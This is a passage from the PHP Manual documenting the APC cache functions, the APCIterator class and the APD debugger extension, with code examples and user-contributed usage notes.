
Example #1 apc_delete_file() example

<?php
$filename = 'file.php';

if (apc_compile_file($filename)) {

    if (apc_delete_file($filename)) {
        echo "Successfully deleted file $filename from APC cache.", PHP_EOL;
    }
}

if (apc_compile_file($filename)) {

    if ($good = apc_delete_file(array($filename, 'donotexist.php'))) {
        var_dump($good);
    }
}

$bad = apc_delete_file('donotexist.php');
var_dump($bad);
?>

The above example will output something similar to:

Successfully deleted file file.php from APC cache.
[Mon May 24 09:30:33 2010] [apc-warning] Could not stat file donotexist.php, unable to delete from cache. in /tmp/test.php on line 13.
array(1) {
  [0]=>
  string(14) "donotexist.php"
}
[Mon May 24 09:30:33 2010] [apc-warning] Could not stat file donotexist.php, unable to delete from cache. in /tmp/test.php on line 18.
bool(false)

See Also

  • apc_clear_cache() - Clears the APC cache
  • apc_delete() - Removes a stored variable from the cache
  • apc_exists() - Checks if APC key exists

User Contributed Notes

There are no user contributed notes for this page.
apc_define_constants
apc_delete
APC Functions


Removes a stored variable from the cache

apc_delete_file
apc_exists
APC Functions
PHP Manual

apc_delete

(PECL apc >= 3.0.0)

apc_delete — Removes a stored variable from the cache

Description

mixed apc_delete ( string $key )

Removes a stored variable from the cache.

Parameters

key

The key used to store the value (with apc_store()).

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 A apc_delete() example

<?php
$bar = 'BAR';
apc_store('foo', $bar);
apc_delete('foo');
// this is obviously useless in this form
?>

See Also

  • apc_store() - Cache a variable in the data store
  • apc_fetch() - Fetch a stored variable from the cache

User Contributed Notes

J Fox 11-Jan-2011 09:25
Contrary to what's documented here - apc_delete also accepts and array of keys or even an APCIterator object, making batch operations a breeze (tested in version 3.1.3p1):

<?php

function showCache() {
    $cachedKeys = new APCIterator('user', '/^MY_APC/', APC_ITER_VALUE);

    echo "\nkeys in cache\n-------------\n";
    foreach ($cachedKeys AS $key => $value) {
        echo $key . "\n";
    }
    echo "-------------\n";
}

apc_add('MY_APC_TESTA_1','1');
apc_add('MY_APC_TESTA_2','2');
apc_add('MY_APC_TESTA_3','3');
apc_add('MY_APC_TESTB_4','4');
apc_add('MY_APC_TESTB_5','5');
apc_add('MY_APC_TESTB_6','6');

showCache();

/* outputs:

keys in cache
-------------
MY_APC_TESTB_4
MY_APC_TESTB_5
MY_APC_TESTB_6
MY_APC_TESTA_1
MY_APC_TESTA_2
MY_APC_TESTA_3
-------------
*/

// delete all keys beginning with a regex match on MY_APC_TESTA
$toDelete = new APCIterator('user', '/^MY_APC_TESTA/', APC_ITER_VALUE);

var_dump( apc_delete($toDelete) );
// returns boolean true|false on success or failure

showCache();

/* outputs:

boolean true

keys in cache
-------------
MY_APC_TESTB_4
MY_APC_TESTB_5
MY_APC_TESTB_6
-------------
*/

// explicitly delete an array of keys
var_dump( apc_delete( array('MY_APC_TESTB_4','MY_APC_TESTB_5','MY_APC_NOT_EXISTS')) );
// returns an array of keys that where not found/removed from the cache

showCache();

/* outputs:

array
  0 => string 'MY_APC_NOT_EXISTS' (length=17)

keys in cache
-------------
MY_APC_TESTB_6
-------------
*/

// delete a single key
var_dump( apc_delete('MY_APC_TESTB_6') );
// returns boolean true|false on success or failure

showCache();

/* outputs:

boolean true

keys in cache
-------------
-------------
*/
?>
dave1010 at gmail dot com 03-Jun-2010 06:26
To clear out the whole APC user cache:

<?php
$info = apc_cache_info("user");
foreach ($info['cache_list'] as $obj) {
    apc_delete($obj['info']);
    print 'Deleted: ' . $obj['info'] . PHP_EOL;
}
?>
apc_delete_file
apc_exists
APC Functions


Checks if APC key exists

apc_delete
apc_fetch
APC Functions
PHP Manual

apc_exists

(PECL apc >= 3.1.4)

apc_exists — Checks if APC key exists

Description

mixed apc_exists ( mixed $keys )

Checks if one ore more APC keys exist.

Parameters

keys

A string, or an array of strings, that contain keys.

Return Values

Returns TRUE if the key exists, otherwise FALSE Or if an array was passed to keys, then an array is returned that contains all existing keys, or an empty array if none exist.

Examples

Example #1 apc_exists() example

<?php
$fruit  = 'apple';
$veggie = 'carrot';

apc_store('foo', $fruit);
apc_store('bar', $veggie);

if (apc_exists('foo')) {
    echo "Foo exists: ";
    echo apc_fetch('foo');
} else {
    echo "Foo does not exist";
}

echo PHP_EOL;
if (apc_exists('baz')) {
    echo "Baz exists.";
} else {
    echo "Baz does not exist";
}

echo PHP_EOL;

$ret = apc_exists(array('foo', 'donotexist', 'bar'));
var_dump($ret);

?>

The above example will output something similar to:

Foo exists: apple
Baz does not exist
array(2) {
  ["foo"]=>
  bool(true)
  ["bar"]=>
  bool(true)
}

See Also

  • apc_cache_info() - Retrieves cached information from APC's data store
  • apc_fetch() - Fetch a stored variable from the cache

User Contributed Notes

There are no user contributed notes for this page.
apc_delete
apc_fetch
APC Functions


Fetch a stored variable from the cache

apc_exists
apc_inc
APC Functions
PHP Manual

apc_fetch

(PECL apc >= 3.0.0)

apc_fetch — Fetch a stored variable from the cache

Description

mixed apc_fetch ( mixed $key [, bool &$success ] )

Fetchs a stored variable from the cache.

Parameters

key

The key used to store the value (with apc_store()). If an array is passed then each element is fetched and returned.

success

Set to TRUE in success and FALSE in failure.

Return Values

The stored variable or array of variables on success; FALSE on failure

Examples

Example #1 A apc_fetch() example

<?php
$bar = 'BAR';
apc_store('foo', $bar);
var_dump(apc_fetch('foo'));
?>

The above example will output:

string(3) "BAR"

Changelog

Version | Description
3.0.17 | The success parameter was added.

See Also

  • apc_store() - Cache a variable in the data store
  • apc_delete() - Removes a stored variable from the cache
  • APCIterator

User Contributed Notes

Anonymous 30-Oct-2011 11:15
Note that the APC cache accessible from PHP running through Apache is not accessible from CLI-PHP (the commandline PHP version). They are 2 different APC caches.

If you are trying for example to run a script from cron that needs to access the same APC cache as your scripts (executed through Apache) with PHP CLI, use file_get_contents to execute the real script or to send over the data.
Doing so executes the script on Apache.
You can also specify a return value in order to move data around.

<?PHP
file_get_contents('http://localhost/actual_processing_script.php');
?>
myfirstnameattimronayne.com 18-May-2010 05:46
Another reason you might be getting null back from apc_fetch when using apc.rfc1867 is if you have only turned this option on using php_admin_value for a virtual host. It needs to be turned on globally in php.ini to work.
chris at active9 dot com 07-Jul-2009 12:00
Anyone who has enabled apc.rfc1867 for a file upload progress bar. Please note that if you are not getting any results back or a Null() data set. Then set apc.rfc1867_freq to 10k or 100k or whatever you see fit like this.

apc.rfc1867_freq = 10k

In your php.ini.

Hope this helps some of you who were getting blank data results. It seems the 0 default setting will not work on some machines. Hope this helps!
marcus at synchromedia dot co dot uk 03-May-2008 09:54
Just to clarify the multi-get capability, the result is returned as an array with cache keys as the array keys. Any missing values re not returned, for example:

<?php
apc_delete('test1');
apc_delete('test2');
apc_add('test1', 'test1');
$cached = apc_fetch(array('test1', 'test2'));
var_dump($cached);
?>

gives

array(1) {
  ["test1"]=>
  string(5) "test1"
}

If no keys are found, you get an empty array.
nospam dot list at unclassified dot de 20-Nov-2007 03:06
This function is often cited related to file upload tracking with PHP 5.2. So I thought this is a good place to put a warning.

If you setup PHP with FastCGI, you'll probably run into trouble using this function to get any information about a running upload. At least in my case, every HTTP request is handled by a different PHP process. I could track it with the getmypid() function, which returned a different value upon every request, but only from a limited set. Also, apc_cache_info() gave me all upload_* entries that were created in that process. So when the upload was initially catched by one PHP process, all progress updates must be fetched from the same process, too, because APC cache information does not seem to be shared across multiple processes handling that domain/virtual host. But that's impossible to tell because PHP has its own load management and serves every request by an arbitrary process.

So in short: When using FastCGI and multiple PHP processes (recommended for performance reasons), you cannot use APC upload tracking. You'll only get a status update every few requests.
thijsterlouw at gmail dot com_remove_this 28-Feb-2007 01:31
As of version 3.0.13 APC (released 2007-02-24) you can perform multiple key fetches with apc_fetch. Very useful to further optimize your application!
APC changelog:
http://pecl.php.net/package-changelog.php?package=APC

example:

<?php
apc_store('key1', 'value1');
apc_store('key2', 'value2');

$keys = array('key1','key2');
$result = apc_fetch($keys);  //fetch multiple keys at once!

var_dump($result);
?>
apc_exists
apc_inc
APC Functions


Increase a stored number

apc_fetch
apc_load_constants
APC Functions
PHP Manual

apc_inc

(PECL apc >= 3.1.1)

apc_inc — Increase a stored number

Description

int apc_inc ( string $key [, int $step = 1 [, bool &$success ]] )

Increases a stored number.

Parameters

key

The key of the value being increased.

step

The step, or value to increase.

success

Optionally pass the success or fail boolean value to this referenced variable.

Return Values

Returns the current value of key's value on success, or FALSE on failure

Examples

Example #1 apc_inc() example

<?php
echo "Let's do something with success", PHP_EOL;

apc_store('anumber', 42);

echo apc_fetch('anumber'), PHP_EOL;

echo apc_inc('anumber'), PHP_EOL;
echo apc_inc('anumber', 10), PHP_EOL;
echo apc_inc('anumber', 10, $success), PHP_EOL;

var_dump($success);

echo "Now, let's fail", PHP_EOL, PHP_EOL;

apc_store('astring', 'foo');

$ret = apc_inc('astring', 1, $fail);

var_dump($ret);
var_dump($fail);
?>

The above example will output something similar to:

42
43
53
63
bool(true)
Now, let's fail

bool(false)
bool(false)

See Also

  • apc_dec() - Decrease a stored number

User Contributed Notes

There are no user contributed notes for this page.
apc_fetch
apc_load_constants
APC Functions


Loads a set of constants from the cache

apc_inc
apc_sma_info
APC Functions
PHP Manual

apc_load_constants

(PECL apc >= 3.0.0)

apc_load_constants — Loads a set of constants from the cache

Description

bool apc_load_constants ( string $key [, bool $case_sensitive = true ] )

Loads a set of constants from the cache.

Parameters

key

The name of the constant set (that was stored with apc_define_constants()) to be retrieved.

case_sensitive

The default behaviour for constants is to be declared case-sensitive; i.e. CONSTANT and Constant represent different values. If this parameter evaluates to FALSE the constants will be declared as case-insensitive symbols.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 apc_load_constants() example

<?php
$constants = array(
    'ONE'   => 1,
    'TWO'   => 2,
    'THREE' => 3,
);
apc_define_constants('numbers', $constants);
apc_load_constants('numbers');
echo ONE, TWO, THREE;
?>

The above example will output:

123

See Also

  • apc_define_constants() - Defines a set of constants for retrieval and mass-definition
  • define() - Defines a named constant
  • constant() - Returns the value of a constant
  • Or the PHP constants reference

User Contributed Notes

webmaster at thedigitalorchard dot ca 25-Apr-2010 05:41
There doesn't seem to be a way to store constants that have already been defined. This function, apc_define_constants(), does both things: (1) defines a constant, and (2) stores the constant in the cache. This is unfortunate, since it introduces the requirement to handle constant definitions differently when APC is not available.

(If this function had a "$do_not_define" parameter, or the like, that would give it more flexibility. I suppose filing a bug report would be a step in the right direction to getting this idea considered.)
apc_inc
apc_sma_info
APC Functions


Retrieves APC's Shared Memory Allocation information

apc_load_constants
apc_store
APC Functions
PHP Manual

apc_sma_info

(PECL apc >= 2.0.0)

apc_sma_info — Retrieves APC's Shared Memory Allocation information

Description

array apc_sma_info ([ bool $limited = false ] )

Retrieves APC's Shared Memory Allocation information.

Parameters

limited

When set to FALSE (default) apc_sma_info() will return a detailed information about each segment.

Return Values

Array of Shared Memory Allocation data; FALSE on failure.

Examples

Example #1 A apc_sma_info() example

<?php
print_r(apc_sma_info());
?>

The above example will output something similar to:

Array
(
    [num_seg] => 1
    [seg_size] => 31457280
    [avail_mem] => 31448408
    [block_lists] => Array
        (
            [0] => Array
                (
                    [0] => Array
                        (
                            [size] => 31448408
                            [offset] => 8864
                        )

                )

        )

)

See Also

  • APC configuration directives

User Contributed Notes

There are no user contributed notes for this page.
apc_load_constants
apc_store
APC Functions


Cache a variable in the data store

apc_sma_info
APCIterator
APC Functions
PHP Manual

apc_store

(PECL apc >= 3.0.0)

apc_store — Cache a variable in the data store

Description

bool apc_store ( string $key , mixed $var [, int $ttl = 0 ] )
array apc_store ( array $values [, mixed $unused [, int $ttl = 0 ]] )

Cache a variable in the data store.

Note: Unlike many other mechanisms in PHP, variables stored using apc_store() will persist between requests (until the value is removed from the cache).

Parameters

key

Store the variable using this name. keys are cache-unique, so storing a second value with the same key will overwrite the original value.

var

The variable to store

ttl

Time To Live; store var in the cache for ttl seconds. After the ttl has passed, the stored variable will be expunged from the cache (on the next request). If no ttl is supplied (or if the ttl is 0), the value will persist until it is removed from the cache manually, or otherwise fails to exist in the cache (clear, restart, etc.).

values

Names in key, variables in value.

Return Values

Returns TRUE on success or FALSE on failure. Second syntax returns array with error keys.

Examples

Example #1 A apc_store() example

<?php
$bar = 'BAR';
apc_store('foo', $bar);
var_dump(apc_fetch('foo'));
?>

The above example will output:

string(3) "BAR"

See Also

  • apc_add() - Cache a variable in the data store
  • apc_fetch() - Fetch a stored variable from the cache
  • apc_delete() - Removes a stored variable from the cache

User Contributed Notes

pere dot cil dot remove dot this at wanadoo dot fr 09-Dec-2011 01:49
Note that caching resources is not possible; even if the apc cache doesn't seems to call the serialize / unserialize functions, that doesn't means that resources can be cached!

Small non-working example:

<?php
// Setter code
$r = fopen( '/tmp/test.txt', 'r' );
var_dump( $r );
apc_store( 'test', $r );
?>

<?php
// Getter code
$d = apc_fetch( 'test' );
var_dump( $d );
echo fread( $d, 1024 );
?>

var_dump( $d ) returns Resource #n of type (Unknown). The resource is still here, but unavailable.
Dominik Deobald / Interdose 17-Nov-2010 11:17
It might be interesting to note that storing an object in the cache does not serialize the object, i.e. does not call the __sleep()/__wakeup() or serialize()/unserialize() methods.
TaRaKa 25-Aug-2010 01:32
Note APC version 3.1.3 there is a bug (http://pecl.php.net/bugs/bug.php?id=16814) that will display a cache slam averted warning for all writes to a cache var that exists. Slam checking can be disabled by setting apc.slam_defense = 0.
eda-qa at disemia dot com 05-Jan-2010 07:40
Note that the TTL only takes effect when you attempt to access the variable again (at least in my version).  That is, just issuing a new request to a page won't clear outdated items -- you have to call apc_fetch on that specific item.

If you call apc_info after the TTL of an item it will still be listed.

This is important if you are expecting items to be cleared to conserve memory.
sebastian at 7val dot com 10-Mar-2008 12:53
Note that since APC 3.0.15 or 3.0.16, the time-to-live-feature does not work within the same request (see http://pecl.php.net/bugs/bug.php?id=13331).
JaskaS 01-Mar-2007 06:06
if you want to store array of objects in apc use ArrayObject wrapper (PHP5).

<?php
$objs = array();
$objs[] = new TestClass();
$objs[] = new TestClass();
$objs[] = new TestClass();

//Doesn't work
apc_store('objs',$objs,60);
$tmp = apc_fetch('objs');
print_r($tmp);

//Works
apc_store('objs',new ArrayObject($objs),60);
$tmp = apc_fetch('objs');
print_r($tmp->getArrayCopy());

?>
Roberto Spadim 12-Jan-2007 02:11
be sure that setting FALSE values can be wrong returned from fetch since fetch return FALSE on errors
php at tequilasolutions dot com 03-Nov-2006 03:45
Seems to be no (easy) way at the to know how old a value fetched is and to check whether it is out of date.

I've made these wrappers so that you can fetch and store values based on a udt returned from get_last_modified_date() which should return a udt of when your data was last changed, and hence needs junking out of the cache.

<?php
function apc_fetch_udt($key){
    $g = apc_fetch($key);
    if ($g){
        list($udt,$val) = $g;
        if (get_last_modified_date()<$udt) {
            $val = unserialize($val);
            return $val;
        } else {
            apc_delete($key);
        }
    }
}
function apc_store_udt($key,$g){
    $udt = time();
    $g   = serialize($g);
    $apc = array($udt,$g);
    apc_store($key, $apc);
}
?>
Sudhee 30-Oct-2006 04:09
It should be noted that apc_store appears to only store one level deep.  So if you have an array of arrays, and you store it.  When you pull it back out with apc_fetch it will only have the top level row of keys with nulls as the values of each key.

Solution to this, is to serialize the data before storing it in the cache and unserialize it while retrieving from the cache.
apc_sma_info
APCIterator
APC Functions


The APCIterator class

(PECL apc >= 3.1.1)

Introduction

The APCIterator class makes it easier to iterate over large APC caches. This is helpful as it allows iterating over large caches in steps, while grabbing a defined number of entries per lock instance, so it frees the cache locks for other activities rather than hold up the entire cache to grab 100 (the default) entries. Also, using regular expression matching is more efficient as it's been moved to the C level.

Class synopsis

APCIterator implements Iterator , Traversable {
/* Methods */
public __construct ( string $cache [, mixed $search = null [, int $format [, int $chunk_size = 100 [, int $list ]]]] )
public mixed current ( void )
public int getTotalCount ( void )
public int getTotalHits ( void )
public int getTotalSize ( void )
public string key ( void )
public void next ( void )
public void rewind ( void )
public void valid ( void )
}

Table of Contents

  • APCIterator::__construct — Constructs an APCIterator iterator object
  • APCIterator::current — Get current item
  • APCIterator::getTotalCount — Get total count
  • APCIterator::getTotalHits — Get total cache hits
  • APCIterator::getTotalSize — Get total cache size
  • APCIterator::key — Get iterator key
  • APCIterator::next — Move pointer to next item
  • APCIterator::rewind — Rewinds iterator
  • APCIterator::valid — Checks if current position is valid

User Contributed Notes

There are no user contributed notes for this page.
apc_store
APCIterator::__construct
APC


Constructs an APCIterator iterator object

APCIterator
APCIterator::current
APCIterator
PHP Manual

APCIterator::__construct

(PECL apc >= 3.1.1)

APCIterator::__construct — Constructs an APCIterator iterator object

Description

public APCIterator::__construct ( string $cache [, mixed $search = null [, int $format [, int $chunk_size = 100 [, int $list ]]]] )

Constructs an APCIterator object.

Parameters

cache

The cache type, which will be user or file.

search

A PCRE regular expression that matches against APC key names, either as a string for a single regular expression, or as an array of regular expressions. Or, optionally pass in NULL to skip the search.

format

The desired format, as configured with one ore more of the APC_ITER_* constants.

chunk_size

The chunk size. Must be a value greater than 0. The default value is 100.

list

The type to list. Either pass in APC_LIST_ACTIVE or APC_LIST_DELETED.

Return Values

An APCIterator object on success, or NULL on failure.

See Also

  • apc_exists() - Checks if APC key exists
  • apc_cache_info() - Retrieves cached information from APC's data store

User Contributed Notes

petabyte 10-Aug-2011 06:38
With MAMP (using PHP 5.3.5 and APC 3.1.7) passing an array with multiple regex strings as $search arg always yields an empty APCIterator. Whereas passing a single string regex works. (Note: I only tried cache type 'user'.)

Workaround: Concatenated all regexes to single one with alternation. Example:

<?php
$results = new APCIterator('user', '/^('.implode('|', $patterns).')');
?>
rodney dot rehm at medialize dot de 29-Jun-2011 03:29
new APCIterator('file'); only lists the files loaded within the current process-scope. It is thus not possible to check if a given file already resides in the op-code cache.
(PHP5.3.6 APC3.1.9)
Anti Veeranna 27-Oct-2010 12:46
Iterating (and specifically using current()) does not expunge cache entries for which $ttl has passed, you need to use apc_fetch to get rid of stale entries.
APCIterator
APCIterator::current
APCIterator


Get current item

APCIterator::__construct
APCIterator::getTotalCount
APCIterator
PHP Manual

APCIterator::current

(PECL apc >= 3.1.1)

APCIterator::current — Get current item

Description

public mixed APCIterator::current ( void )

Gets the current item from the APCIterator stack.

Parameters

This function has no parameters.

Return Values

Returns the current item on success, or FALSE if no more items or exist, or on failure.

See Also

  • APCIterator::next() - Move pointer to next item
  • Iterator::current() - Return the current element

User Contributed Notes

There are no user contributed notes for this page.
APCIterator::__construct
APCIterator::getTotalCount
APCIterator


Get total count

APCIterator::current
APCIterator::getTotalHits
APCIterator
PHP Manual

APCIterator::getTotalCount

(PECL apc >= 3.1.1)

APCIterator::getTotalCount — Get total count

Description

public int APCIterator::getTotalCount ( void )

Get the total count.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

The total count.

See Also

  • APCIterator::getTotalHits() - Get total cache hits
  • APCIterator::getTotalSize() - Get total cache size
  • apc_cache_info() - Retrieves cached information from APC's data store

User Contributed Notes

There are no user contributed notes for this page.
APCIterator::current
APCIterator::getTotalHits
APCIterator


Get total cache hits

APCIterator::getTotalCount
APCIterator::getTotalSize
APCIterator
PHP Manual

APCIterator::getTotalHits

(PECL apc >= 3.1.1)

APCIterator::getTotalHits — Get total cache hits

Description

public int APCIterator::getTotalHits ( void )

Gets the total number of cache hits.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

The number of hits on success, or FALSE on failure.

See Also

  • APCIterator::getTotalCount() - Get total count
  • APCIterator::getTotalSize() - Get total cache size
  • apc_cache_info() - Retrieves cached information from APC's data store

User Contributed Notes

There are no user contributed notes for this page.
APCIterator::getTotalCount
APCIterator::getTotalSize
APCIterator


Get total cache size

APCIterator::getTotalHits
APCIterator::key
APCIterator
PHP Manual

APCIterator::getTotalSize

(PECL apc >= 3.1.1)

APCIterator::getTotalSize — Get total cache size

Description

public int APCIterator::getTotalSize ( void )

Gets the total cache size.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

The total cache size.

See Also

  • APCIterator::getTotalCount() - Get total count
  • APCIterator::getTotalHits() - Get total cache hits
  • apc_cache_info() - Retrieves cached information from APC's data store

User Contributed Notes

There are no user contributed notes for this page.
APCIterator::getTotalHits
APCIterator::key
APCIterator


Get iterator key

APCIterator::getTotalSize
APCIterator::next
APCIterator
PHP Manual

APCIterator::key

(PECL apc >= 3.1.1)

APCIterator::key — Get iterator key

Description

public string APCIterator::key ( void )

Gets the current iterator key.

Parameters

This function has no parameters.

Return Values

Returns the key on success, or FALSE upon failure.

See Also

  • APCIterator::current() - Get current item
  • Iterator::key() - Return the key of the current element

User Contributed Notes

There are no user contributed notes for this page.
APCIterator::getTotalSize
APCIterator::next
APCIterator


Move pointer to next item

APCIterator::key
APCIterator::rewind
APCIterator
PHP Manual

APCIterator::next

(PECL apc >= 3.1.1)

APCIterator::next — Move pointer to next item

Description

public void APCIterator::next ( void )

Moves the iterator pointer to the next element.

Parameters

This function has no parameters.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • APCIterator::current() - Get current item
  • APCIterator::rewind() - Rewinds iterator
  • Iterator::next() - Move forward to next element

User Contributed Notes

There are no user contributed notes for this page.
APCIterator::key
APCIterator::rewind
APCIterator


Rewinds iterator

APCIterator::next
APCIterator::valid
APCIterator
PHP Manual

APCIterator::rewind

(PECL apc >= 3.1.1)

APCIterator::rewind — Rewinds iterator

Description

public void APCIterator::rewind ( void )

Rewinds back the iterator to the first element.

Parameters

This function has no parameters.

Return Values

No value is returned.

See Also

  • APCIterator::next() - Move pointer to next item
  • Iterator::next() - Move forward to next element

User Contributed Notes

There are no user contributed notes for this page.
APCIterator::next
APCIterator::valid
APCIterator


Checks if current position is valid

APCIterator::rewind
APD
APCIterator
PHP Manual

APCIterator::valid

(PECL apc >= 3.1.1)

APCIterator::valid — Checks if current position is valid

Description

public void APCIterator::valid ( void )

Checks if the current iterator position is valid.

Parameters

This function has no parameters.

Return Values

Returns TRUE if the current iterator position is valid, otherwise FALSE.

See Also

  • APCIterator::current() - Get current item
  • Iterator::valid() - Checks if current position is valid

User Contributed Notes

There are no user contributed notes for this page.
APCIterator::rewind
APD
APCIterator


Advanced PHP debugger

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Building on Win32
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
    • How to use PHP-APD in your scripts
  • APD Functions
    • apd_breakpoint — Stops the interpreter and waits on a CR from the socket
    • apd_callstack — Returns the current call stack as an array
    • apd_clunk — Throw a warning and a callstack
    • apd_continue — Restarts the interpreter
    • apd_croak — Throw an error, a callstack and then exit
    • apd_dump_function_table — Outputs the current function table
    • apd_dump_persistent_resources — Return all persistent resources as an array
    • apd_dump_regular_resources — Return all current regular resources as an array
    • apd_echo — Echo to the debugging socket
    • apd_get_active_symbols — Get an array of the current variables names in the local scope
    • apd_set_pprof_trace — Starts the session debugging
    • apd_set_session_trace_socket — Starts the remote session debugging
    • apd_set_session_trace — Starts the session debugging
    • apd_set_session — Changes or sets the current debugging level
    • override_function — Overrides built-in functions
    • rename_function — Renames orig_name to new_name in the global function table

User Contributed Notes

There are no user contributed notes for this page.
APCIterator::valid
Introduction
Affecting PHP's Behaviour


Introduction

APD is the Advanced PHP Debugger. It was written to provide profiling and debugging capabilities for PHP code, as well as to provide the ability to print out a full stack backtrace. APD supports interactive debugging, but by default it writes data to trace files. It also offers event based logging so that varying levels of information (including function calls, arguments passed, timings, etc.) can be turned on or off for individual scripts.

Caution

APD is a Zend Extension, modifying the way the internals of PHP handle function calls, and thus may or may not be compatible with other Zend Extensions (for example Zend Optimizer).

User Contributed Notes

There are no user contributed notes for this page.
APD
Installing/Configuring
APD


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Building on Win32
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
APD


Installation

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/apd.

A DLL for this PECL extension is currently unavailable. See also the building on Windows section.

In your INI file, add the following lines:

zend_extension = /absolute/path/to/apd.so
apd.dumpdir = /absolute/path/to/trace/directory
apd.statement_tracing = 0

Depending on your PHP build, the zend_extension directive can be one of the following:

zend_extension              (non ZTS, non debug build)
zend_extension_ts           (    ZTS, non debug build)
zend_extension_debug        (non ZTS,     debug build)
zend_extension_debug_ts     (    ZTS,     debug build)

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Building on Win32
Installing/Configuring


Building on Win32

To build APD under Windows you need a working PHP compilation environment as described on http://php.net/ -- basically, it requires you to have Microsoft Visual C++, win32build.zip, bison/flex, and some know how to get it to work. Also ensure that adp.dsp has DOS line endings; if it has unix line endings, Microsoft Visual C++ will complain about it.

User Contributed Notes

There are no user contributed notes for this page.
Installation
Runtime Configuration
Installing/Configuring


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

APD Configuration Options
Name | Default | Changeable | Changelog
apd.dumpdir | NULL | PHP_INI_ALL |
apd.statement_tracing | "0" | PHP_INI_ALL | Available since apd 0.9.
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

Here's a short explanation of the configuration directives.

apd.dumpdir string

Sets the directory in which APD writes profile dump files. You can specify an absolute path or a relative path.

You can specify a different directory as an argument to apd_set_pprof_trace().

apd.statement_tracing boolean

Specfies whether or not to do per-line tracings. Turning this on (1) will impact the performance of your application.

User Contributed Notes

There are no user contributed notes for this page.
Building on Win32
Resource Types
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

APD constants
Constant | Value | Description
FUNCTION_TRACE (integer) | 1 |
ARGS_TRACE (integer) | 2 |
ASSIGNMENT_TRACE (integer) | 4 |
STATEMENT_TRACE (integer) | 8 |
MEMORY_TRACE (integer) | 16 |
TIMING_TRACE (integer) | 32 |
SUMMARY_TRACE (integer) | 64 |
ERROR_TRACE (integer) | 128 |
PROF_TRACE (integer) | 256 |
APD_VERSION (string) | example: 1.0.2-dev |

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Examples
APD


Examples

Table of Contents

  • How to use PHP-APD in your scripts

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
How to use PHP-APD in your scripts
APD


How to use PHP-APD in your scripts

  1. As the first line of your PHP script, call the apd_set_pprof_trace() function to start the trace:

    <?php
    apd_set_pprof_trace    ();
    ?>

    You can insert the line anywhere in your script, but if you do not start tracing at the beginning of your script you discard profile data that might otherwise lead you to a performance bottleneck.

  2. Now run your script. The dump output will be written to apd.dumpdir/pprof_pid.ext.

    Tip

    If you're running the CGI version of PHP, you will need to add the '-e' flag to enable extended information for apd to work properly. For example: php -e -f script.php

  3. To display formatted profile data, issue the pprofp command with the sort and display options of your choice. The formatted output will look something like:

    bash-2.05b$ pprofp -R /tmp/pprof.22141.0

Trace for /home/dan/testapd.php
Total Elapsed Time = 0.00
Total System Time  = 0.00
Total User Time    = 0.00

Real         User        System             secs/    cumm
%Time (excl/cumm)  (excl/cumm)  (excl/cumm) Calls    call    s/call  Memory Usage Name
--------------------------------------------------------------------------------------
100.0 0.00 0.00  0.00 0.00  0.00 0.00     1  0.0000   0.0009            0 main
56.9 0.00 0.00  0.00 0.00  0.00 0.00     1  0.0005   0.0005            0 apd_set_pprof_trace
28.0 0.00 0.00  0.00 0.00  0.00 0.00    10  0.0000   0.0000            0 preg_replace
14.3 0.00 0.00  0.00 0.00  0.00 0.00    10  0.0000   0.0000            0 str_replace

    The -R option used in this example sorts the profile table by the amount of real time the script spent executing a given function. The "cumm call" column reveals how many times each function was called, and the "s/call" column reveals how many seconds each call to the function required, on average.

  4. To generate a calltree file that you can import into the KCacheGrind profile analysis application, issue the pprof2calltree comand.

User Contributed Notes

There are no user contributed notes for this page.
Examples
APD Functions
Examples


APD Functions

Contact information

If you have comments, bugfixes, enhancements or want to help developing this beast, you can send an mail to » apd@mail.communityconnect.com. Any help is very welcome.

Table of Contents

  • apd_breakpoint — Stops the interpreter and waits on a CR from the socket
  • apd_callstack — Returns the current call stack as an array
  • apd_clunk — Throw a warning and a callstack
  • apd_continue — Restarts the interpreter
  • apd_croak — Throw an error, a callstack and then exit
  • apd_dump_function_table — Outputs the current function table
  • apd_dump_persistent_resources — Return all persistent resources as an array
  • apd_dump_regular_resources — Return all current regular resources as an array
  • apd_echo — Echo to the debugging socket
  • apd_get_active_symbols — Get an array of the current variables names in the local scope
  • apd_set_pprof_trace — Starts the session debugging
  • apd_set_session_trace_socket — Starts the remote session debugging
  • apd_set_session_trace — Starts the session debugging
  • apd_set_session — Changes or sets the current debugging level
  • override_function — Overrides built-in functions
  • rename_function — Renames orig_name to new_name in the global function table

User Contributed Notes

northon_patrick3 at yahoo dot ca 26-Jun-2008 08:36
There seem to be a mistake with the name of the apd_set_socket_session_trace function. In the latest build (version 1.0.1) of apd for PHP, the function is called apd_set_session_trace_socket.

The APD pecl page also have some problems. Some of the links direct you to some adt pages.
judas dot iscariote at gmail dot com 07-May-2006 10:52
if you are looking for better/different alternatives to APD, check the xdebug website http://www.xdebug.org or download it from PECL http://pecl.php.net/xdebug
bugbuster at darrencampbell dot com dot au 22-May-2005 01:53
Locate the root-cause of defects, fast.

If you need to locate the source of a defect in complicated web-based PHP applications with lots of conditional includes (osCommerce and Zen-Cart are reasonably complex), use APD to create a profile dump.

Then filter the dump for lines containing "!" to produce a list of included (required) files in the order they were included.

On my Win98 dev box I use: find "!" dumpfile > trace_program.txt

I use the trace_program.txt to backtrack to the root-cause of defects appearing in the browser.  Great for maintaining systems you did not build yourself.
ng4rrjanbiah at rediffmail dot com 05-Apr-2005 10:52
Some useful links on APD:
